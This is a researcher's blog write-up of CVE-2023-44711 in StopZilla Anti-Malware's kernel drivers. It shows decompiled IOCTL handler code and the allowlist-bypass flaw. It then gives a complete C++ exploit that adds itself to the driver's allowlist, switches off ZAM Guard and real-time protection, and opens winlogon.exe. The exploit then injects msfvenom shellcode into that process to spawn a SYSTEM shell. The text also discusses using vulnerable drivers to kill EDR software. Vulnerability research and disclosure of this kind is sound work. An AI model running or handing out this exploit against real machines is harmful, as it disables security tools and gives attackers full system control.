Exploiting StopZilla Anti-Malware zam64.sys, zamguard64.sys Windows Kernel Driver (Arbitrary Write To Local Privilege Escalation) CVE-2023-44711
Reverse Enginnering & Exploiting StopZilla Anti-Malware Kernel Driver
by: RashidKhan Pathan (0xiHexCoder) Date: 20 Sep 2023
Summary
we are going to Reverse Engineering And Exploting A StopZilla Anti-Malware Kernel Driver and going to get Local Privilege Escalation On System
Vulnerability Description
Recently i have been researching about EDR/XDR termination technique and wanted to write my own kernel driver for it which would do the same things but when i saw this Twitter Post quickly started to research about this techniques and found out that it is BYOVD Bring Your Own Vulnerable Driver technqiues where a Windows Driver used to terminates EDX/EDT, and it is used the Russian
threat actors (TA) also known as SpyBot
they posted a tool which terminates all AntiViruses/Endpoint & Response (EDR/XDR) Softwares
also while researching more about it i have came accross a VoidSec post where he exploited a Zemana-AntiMalware/AntiLogger, after reading his post i wanted to try on Similar Anti-Viruses to find 0Days but its hard to find such kind of Anti-Malware developed by another vendor which uses same Zam64.sys
and ZamGuard64.sys
driver so after researching little bit more now came accross Parvez’s Blog Post where he exploited same driver for StopZilla Anti-Malware
but the driver was different in his case he exploited szkg64.sys
still i wanted to do case-study on this exploit to do case-study on this driver i downloaded latest version of StopZilla Anti-Malware
and suprisingly noticed this Malware installed Zam64.sys
and ZamGuard64.sys
Driver, which is Already Vulnrable to Multiple Vulnerabilities so i quickly opend zam64.sys
in IDA to Reverse Engineer it.
Technical Details
- Vulnerability Type: Incorrect Access Control
- Vendor: Stopzilla
- Affected Product: Antimalware - 2.74.115.487
- Affected Component: zam64.sys, zamguard64.sys
- Attack Type: Local
- Impact:
- Code execution: true
- Escalation of Privileges: true
Thanks To:
before procedding further i just wants to thanks follwing individuals, their blogs made me understand the nature of vulnerability and root cause of it so i could write exploit easily
- @voidsec - VoidSec.com
- @zeze-zeze - github.com/zeze-zeze
- @parvex - grahathackers.net
Reverse Engineering
after opening driver in IDA we have to find Driver Handle to Interact with Driver, so if we go inside the Imports
in ida we can see there is function called IofCreateDevice
if we jump to this function we can see our driver handle is there which has sub_14001A130
this function \Device\ZemanaAntimalware
by using this we can interact with driver from user-mode as a non-privileged user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_14001A130(_QWORD *a1, __int64 a2, __int64 a3)
{
int v4; // [rsp+28h] [rbp-70h]
bool v5; // [rsp+40h] [rbp-58h]
...
{
RtlInitUnicodeString(v15, L"\\DosDevices\\ZemanaAntiMalware");
RtlInitUnicodeString(v14, L"\\Device\\ZemanaAntiMalware");
}
else if ( v12 == 3 )
{
RtlInitUnicodeString(v15, L"\\DosDevices\\B5A6B7C9-1E31-4E62-91CB-6078ED1E9A4F");
RtlInitUnicodeString(v14, L"\\Device\\B5A6B7C9-1E31-4E62-91CB-6078ED1E9A4F");
}
now we got driver handle lets move on to find IOCTL’s which would leads us to multiple routines of Vulnerable Functions if we go in sub_140019060
and decompile it then we can see the ioctl’s showed but it’s in some randoms digit’s which start from random -21045454 (number could be different),right click on this digit and select Hexadecimal and it’s going to change to IOCTL’s formats like this 0x800002004
sub_140019060
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
__int64 __fastcall sub_140019060(__int64 a1, __int64 a2)
{
unsigned int v3; // [rsp+40h] [rbp-58h]
_DWORD *v4; // [rsp+48h] [rbp-50h]
int v5; // [rsp+50h] [rbp-48h]
int v6[2]; // [rsp+54h] [rbp-44h] BYREF
unsigned int CurrentProcessId; // [rsp+5Ch] [rbp-3Ch]
unsigned int v8; // [rsp+60h] [rbp-38h]
_DWORD *v9; // [rsp+68h] [rbp-30h]
_DWORD *v10; // [rsp+70h] [rbp-28h]
_DWORD *v11; // [rsp+78h] [rbp-20h]
__int64 v12; // [rsp+80h] [rbp-18h]
__int64 v13; // [rsp+88h] [rbp-10h]
v3 = -1073741823;
v12 = *(_QWORD *)(a1 + 64);
v13 = 0i64;
v8 = 0;
v6[0] = 0;
v9 = 0i64;
CurrentProcessId = PsGetCurrentProcessId();
v9 = *(_DWORD **)(a2 + 184);
if ( v9 )
{
v4 = *(_DWORD **)(a2 + 24);
v8 = v9[4];
v6[0] = v9[2];
v5 = v9[6];
if ( v5 == -2147475440
|| v5 == -2147475372
|| v5 == -2147475360
|| v5 == -2147475356
|| !(unsigned int)sub_14000F610()
|| (unsigned int)sub_14000F620(CurrentProcessId, 1i64) )
{
v6[1] = v5 + 2147475452;
switch ( v5 )
{
case 0x80002004:
sub_14000E800(
1,
(unsigned int)"Main.c",
495,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_CREATE_FILE_BYPASS_FILTERS");
sub_140017860(v4, v8, v4, v6);
v3 = 0;
break;
case 0x80002008:
sub_14000E800(
1,
(unsigned int)"Main.c",
512,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_CHECK_DRIVER_DISPATCH_ROUTINES");
v3 = sub_1400175E0(v4, v4);
break;
case 0x8000200C:
sub_14000E800(
1,
(unsigned int)"Main.c",
520,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_FIX_DRIVER_DISPATCH_ROUTINES");
v3 = sub_140018740(v4);
break;
case 0x80002010:
sub_14000E800(
1,
(unsigned int)"Main.c",
527,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_REGISTER_PROCESS");
v3 = sub_140018CB0(v4);
break;
case 0x80002014:
v11 = v4;
sub_14000E800(
1,
(unsigned int)"Main.c",
537,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_SCSI_READ");
v3 = sub_140018D20(v4, v4);
break;
case 0x80002018:
v10 = v4;
sub_14000E800(
1,
(unsigned int)"Main.c",
549,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_SCSI_WRITE");
v3 = sub_140018E10(v10, (unsigned int)v10[6], v10 + 128);
break;
case 0x8000201C:
sub_14000E800(
1,
(unsigned int)"Main.c",
560,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_OPEN_PHYSICAL_DRIVE");
v3 = sub_140018990(v4, v4);
break;
case 0x80002020:
sub_14000E800(
1,
(unsigned int)"Main.c",
569,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_GET_KERNEL_IMAGE_INFORMATION");
v3 = sub_1400188B0(v4);
break;
case 0x80002024:
sub_14000E800(
1,
(unsigned int)"Main.c",
577,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_DUMP_MINIPORT_INFORMATION");
v3 = sub_140017D00(v4, v4);
break;
case 0x80002028:
sub_14000E800(
1,
(unsigned int)"Main.c",
585,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_FIX_CRITICAL_KERNEL_FUNCTIONS");
v3 = sub_1400186A0(v4, v4);
break;
case 0x8000202C:
sub_14000E800(
1,
(unsigned int)"Main.c",
594,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_DELETE_FILE");
v3 = sub_140017B30(v4);
break;
case 0x80002030:
sub_14000E800(
1,
(unsigned int)"Main.c",
602,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_ENUM_PROCESSES");
v3 = sub_140018640(v4, v4);
break;
case 0x80002034:
sub_14000E800(
1,
(unsigned int)"Main.c",
611,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_ENUM_PROCESS_MODULES");
v3 = sub_140018590(v4, v4);
break;
case 0x80002038:
sub_14000E800(
1,
(unsigned int)"Main.c",
620,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_CREATE_KEY");
v3 = sub_1400179B0(v4, v4);
break;
case 0x8000203C:
sub_14000E800(
1,
(unsigned int)"Main.c",
628,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_DELETE_KEY");
v3 = sub_140017B60(v4);
break;
case 0x80002040:
sub_14000E800(
1,
(unsigned int)"Main.c",
636,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_PROTECT_REGISTRY");
v3 = sub_140018B90(v4);
break;
case 0x80002044:
sub_14000E800(
1,
(unsigned int)"Main.c",
644,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_SAVE_MINIPORT_FIX");
v3 = sub_140018D00(v4);
break;
case 0x80002048:
sub_14000E800(
1,
(unsigned int)"Main.c",
652,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_TERMINATE_PROCESS");
v3 = sub_140018FD0(v4);
v6[0] = v3;
break;
case 0x8000204C:
sub_14000E800(
1,
(unsigned int)"Main.c",
666,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_OPEN_PROCESS");
v3 = sub_140018A30(v4, v4);
break;
case 0x80002050:
sub_14000E800(
1,
(unsigned int)"Main.c",
674,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_BLOCK_UNSAFE_DLL");
v3 = sub_1400175B0(v4);
break;
case 0x80002054:
sub_14000E800(
1,
(unsigned int)"Main.c",
682,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_GET_DRIVER_PROTOCOL");
*v4 = 410;
v3 = 0;
break;
case 0x80002058:
sub_14000E800(
1,
(unsigned int)"Main.c",
692,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_DELETE_VALUE");
v3 = sub_140017B90(v4);
break;
case 0x8000205C:
sub_14000E800(
1,
(unsigned int)"Main.c",
700,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_QUERY_DIRECTORY_FILE");
v3 = sub_140018BE0(v4, v4, v6);
break;
case 0x80002060:
dword_140077D00 = 1;
sub_14000E800(
1,
(unsigned int)"Main.c",
710,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"ZAM Guard enabled");
v3 = 0;
break;
case 0x80002064:
dword_140077D00 = 0;
sub_14000E800(
1,
(unsigned int)"Main.c",
720,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"ZAM Guard disabled");
v3 = 0;
break;
case 0x80002080:
sub_14000E800(
1,
(unsigned int)"Main.c",
728,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"Send system information");
if ( v8 >= 2ui64 )
{
word_14003ACF0 = towupper(*(unsigned __int16 *)v4);
v3 = 0;
}
else
{
sub_14000E800(
7,
(unsigned int)"Main.c",
732,
(unsigned int)"DeviceIoControlHandler",
-1073741811,
(__int64)"Send Sys Info size mismatch");
}
break;
case 0x80002084:
sub_14000E800(
1,
(unsigned int)"Main.c",
744,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"IOCTL_OPEN_THREAD");
v3 = sub_140018AE0(v4, v4);
break;
case 0x80002088:
sub_14000FBF0(CurrentProcessId);
v3 = 0;
break;
case 0x8000208C:
dword_140077D30 = 1;
sub_14000E800(
1,
(unsigned int)"Main.c",
762,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"Enabled RT protection");
v3 = 0;
break;
case 0x80002090:
dword_140077D30 = 0;
sub_14000E800(
1,
(unsigned int)"Main.c",
772,
(unsigned int)"DeviceIoControlHandler",
0,
(__int64)"Disabled RT protection");
v3 = 0;
break;
case 0x80002094:
*v4 = dword_140077D30;
v3 = 0;
break;
default:
sub_14000E800(
7,
(unsigned int)"Main.c",
787,
(unsigned int)"DeviceIoControlHandler",
-1073741822,
(__int64)"Unknown IOCTL code provided 0x%X");
break;
}
}
else
{
v3 = -1073741790;
sub_14000E800(
7,
(unsigned int)"Main.c",
482,
(unsigned int)"DeviceIoControlHandler",
-1073741790,
(__int64)"ProcessID %d is not authorized to send IOCTLs ");
}
}
else
{
sub_14000E800(
7,
(unsigned int)"Main.c",
455,
(unsigned int)"DeviceIoControlHandler",
-1073741823,
(__int64)"IO Stack Location is NULL");
}
*(_DWORD *)(a2 + 48) = v3;
*(_QWORD *)(a2 + 56) = (unsigned int)v6[0];
sub_14000E800(1, (unsigned int)"Main.c", 797, (unsigned int)"DeviceIoControlHandler", 0, (__int64)"Response size %d");
IofCompleteRequest(a2, 0i64);
return v3;
}
each IOCTL leading to functions that has Vulnerable funcationalities, if we break down the one by one then how it’s look
DeviceIoControlHandler:
The driver exposes various functionalities through IOCTLs, including privileged operations. Attackers can exploit these functionalities if they can bypass the allowlist mechanism.
The Allowlist Mechanism:
The driver uses an allowlist to restrict access to certain IOCTLs. However, it doesn’t properly check if the process issuing the IOCTL is already on the allowlist, allowing any process to become “trusted” and execute privileged commands.
Bypassing the Allowlist:
By sending IOCTL 0x80002010 with the process’s PID, any process can register itself in the allowlist.
Terminating a Process:
IOCTL 0x80002048 can be used to terminate any process, including security software. This capability is exploited by attackers to disable AV and EDR processes.
Unrestricted SCSI Read and Write:
IOCTLs 0x80002014 and 0x80002018 provide unrestricted disk read/write access. Attackers can manipulate these IOCTLs to access and modify data on the disk.
Enable/Disable ZAM Guard & Real-Time Protection:
IOCTLs 0x80002060, 0x80002064, 0x8000208c, and 0x80002090 allow any process to control Zemana’s Real-Time protection and ZAM Guard.
Exploit Writing
breaking down the process step by step of our exploit writing: Open Process ID: Use IOCTL 0x8000204C to retrieve a handle to any running process including privileged ones Allocate Memory: Use VirtualAllocEx
to allocate memory in the target process Local Privilege Escalation: Register the “exploit” process to the driver via IOCTL 0x80002010 t be added to the allowlist. Retrieve the Process ID (PID) of any privileged process running as N AUTHORITY\SYSTEM Create Buffer: Create a buffer with the PID of the privileged process Submit Buffer: Submit the created buffer via the 0x8000204C IOCTL to retrieve handle to the target process Allocate Executable Memory: Allocate executable memory within the target process Load Arbitrary Code (Shellcode): Load any arbitrary code (shellcode) into the allocated memory Execute Shellcode: Use the CreateRemoteThread()
API to start the just allocated shellcode.
our overall goal is to escalate privileges from a low-privileged user to NT AUTHORITY\SYSTEM by exploiting the driver’s IOCTL functionalities, This involves registering the “exploit” process, obtaining a handle to a privileged process, and executing arbitrary code in the context of the privileged process
StopZilla Anti-Malware 2.74.215.687 Arbitrary Write To Local Privilege Escalation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
/*
Exploit title: StopZilla Anti-Malware 2.74.115.487 Arbitrary Write To Local Privilege Escalation
Exploit Author: RashidKhan Pathan (0xiHexCoder) - @itRashid - https://rashidkhanpathan.github.io
Date: 9 Sep 2023
Vendor Homepage: https://www.stopzilla.com/downloads/download-stopzilla-antimalware/
Download: https://download.stopzilla.com/binaries/stopzilla/anti-malware/STOPzilla_AM_Setup.exe
Affected Version: StopZilla AntiMalware v. <= 2.74.115.487
CVE: CVE-2023-XXXX
Tested on: Windows 10 Pro/Home x64 v.19045.3448
Category: local exploit
Platform: windows
Usage: run Exploit.exe from user to achive NT Authority System Shell
*/
#include <iostream>
#include <windows.h>
#include <string>
#include <tlhelp32.h>
int GetProcessPIDByName(PCSTR ProcessName) {
// Get HANDLE to ProcessName
DWORD pid = 0;
PROCESSENTRY32 process;
// Create toolhelp snapshot
HANDLE hsnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
ZeroMemory(&process, sizeof(process));
process.dwSize = sizeof(process);
// Walkthrough all processes
if (Process32First(hsnapshot, &process))
{
do
{
// Compare process.szExeFile based on name
if (std::string(process.szExeFile) == std::string(ProcessName))
{
pid = process.th32ProcessID;
break;
}
} while (Process32Next(hsnapshot, &process));
}
CloseHandle(hsnapshot);
if (pid != 0)
{
return pid;
}
return NULL;
}
int main(int argc, char** argv)
{
printf(" StopZilla Anti-Malware 2.74.115.487 Arbitrary Write To Local Privilege Escalation \n");
printf(" Tested on Windows 10 20H2 \n");
printf(" RashidKhan Pathan \n\n");
HANDLE hDevice, hWinlogon = 0;
DWORD exploitPID = 0;
DWORD winlogonPID = 0;
DWORD disbleZAM = 0;
DWORD disbleRealTime;
bool success = 0;
LPVOID destMem = NULL;
SIZE_T written = 0;
/*msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread -f c*/
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";
// Obtaining Driver Handle Name Using CreateFileA()
printf("[*] Obtaining Device Driver Handle \n");
hDevice = CreateFileA("\\\\.\\ZemanaAntiMalware", GENERIC_READ | GENERIC_WRITE , NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (!hDevice)
{
printf("[-] Error - Unable To Obtain Device Driver Handle \n", GetLastError());
return -1;
}
printf("\t[+] Obtained Driver Handle 0x%p \n", hDevice);
// Getting PID From All Processes Using getProcessId() Function;
exploitPID = GetCurrentProcessId();
if (!exploitPID)
{
printf("[-] Faild To Get Exploit Process ID \n", GetLastError());
return -1;
}
printf("[+] Exploit Process ID \n", exploitPID);
// Adding Process To Allowlist
success = DeviceIoControl(hDevice, 0x80002010, &exploitPID, sizeof(exploitPID), NULL, 0, NULL, NULL);
if (!success)
{
printf("[-] Error - Faild To Add Process To Allowlist", GetLastError());
return -1;
}
printf("[+] Added Process To Allowlist\n");
// Disabling ZAM Guard And Real-Time Protection
disbleZAM = DeviceIoControl(hDevice, 0x80002064, NULL, sizeof(exploitPID), NULL, 0, NULL, NULL);
disbleRealTime = DeviceIoControl(hDevice, 0x80002090, NULL, sizeof(exploitPID), NULL, 0, NULL, NULL);
if (!disbleZAM || !disbleRealTime)
{
printf("[-] Faild To Disable ZAM Guard Or RealTime Protection \n");
return -1;
}
printf("[+] Disabled ZAM Guard And Real Time Protection 0x%p 0x%p \n", disbleZAM, disbleRealTime);
// Getting The WinLogon PID
winlogonPID = GetProcessPIDByName("winlogon.exe");
if (!winlogonPID)
{
printf("[-] Error - Unable To Get winlogon.exe PID \n", GetLastError());
}
printf("[+] Got Winlogon.exe PID 0x%p \n", winlogonPID);
success = DeviceIoControl(hDevice, 0x8000204c, &winlogonPID, sizeof(DWORD), &hWinlogon, sizeof(DWORD), NULL, NULL);
if (!success)
{
printf("[+] \n", GetLastError());
}
printf("[+] Obtained Winlogon.exe HANDLE 0x%p \n", hWinlogon);
// Loading ShellCode In Winlogon.exe By Allocating Memory In WinLogon.exe Using VirtuallAllocEx()
destMem = VirtualAllocEx(hWinlogon, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!destMem)
{
printf("[-] Error - Unable Allocated Memory In Winlogon.exe \n", GetLastError());
return -1;
}
printf("[+] Allocated Memory In Winlogn.exe Process 0x%p \n", destMem);
// Writing ShellCode Within WinLogon.exe Process Memeory
success = WriteProcessMemory(hWinlogon, destMem, &shellcode, sizeof(shellcode), &written);
if ((DWORD)success == INVALID_FILE_ATTRIBUTES)
{
printf("[-] Faild To Write ShellCode In Winlogon.exe \n", GetLastError());
return -1;
}
printf("[+] Loaded ShellCode In Winlogon.exe 0x%p 0x%s 0x \n", destMem);
// Finally Spawing System Shell By Using CreateRemoteThread() Function
success = CreateRemoteThread(hWinlogon, NULL, 0, (LPTHREAD_START_ROUTINE)destMem, NULL, 0, NULL);
if (!success)
{
printf("[-] Errror - Test");
return -1;
}
printf("[+] We Are Now NT AUTHORITY SYSTEM");
return 0;
}
Step-by-Step Explanation:
1. Obtaining Device Driver Handle
1
hDevice = CreateFileA("\\\\.\\ZemanaAntiMalware", GENERIC_READ | GENERIC_WRITE , NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
The code attempts to acquire a handle (hDevice
) to the Zemana AntiMalware device driver using CreateFileA()
function. This step is crucial for interacting with the driver to perform certain actions, but it assumes the existence of a vulnerable or exploitable interface within the driver.
2. Disabling ZAM Guard and Real-Time Protection
1
2
disbleZAM = DeviceIoControl(hDevice, 0x80002064, NULL, sizeof(exploitPID), NULL, 0, NULL, NULL);
disbleRealTime = DeviceIoControl(hDevice, 0x80002090, NULL, sizeof(exploitPID), NULL, 0, NULL, NULL);
The code tries to disable ZAM Guard and Real-Time Protection using DeviceIoControl()
. It sends IOCTL commands to the driver with specific codes (0x80002064
and 0x80002090
) to disable these protections. This assumes that the driver has exposed functionalities that can be manipulated for this purpose.
3. Manipulating Winlogon Process
1
winlogonPID = GetProcessPIDByName("winlogon.exe");
This retrieves the Process ID (PID) of the “winlogon.exe” process.
1
success = DeviceIoControl(hDevice, 0x8000204c, &winlogonPID, sizeof(DWORD), &hWinlogon, sizeof(DWORD), NULL, NULL);
The code communicates with the driver to interact with the Winlogon process, acquiring a handle (hWinlogon
) to it, assuming that it has privileges to perform these operations.
1
destMem = VirtualAllocEx(hWinlogon, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
This allocates memory within the Winlogon process, where arbitrary code can be written.
1
success = WriteProcessMemory(hWinlogon, destMem, &shellcode, sizeof(shellcode), &written);
It writes a piece of shellcode (typically used for payload execution) to the allocated memory space within the Winlogon process.
4. Executing Arbitrary Code
1
success = CreateRemoteThread(hWinlogon, NULL, 0, (LPTHREAD_START_ROUTINE)destMem, NULL, 0, NULL);
This attempt to spawn a system shell by creating a remote thread in the Winlogon process, executing the loaded shellcode. This step is a common technique for running arbitrary code within a different process, often leading to privilege escalation.
Additional Information
Link to additional information
Discoverer
RashidKhan Pathan
Reference
Link to reference [VoidSec Blog Post] Parvez Blog Post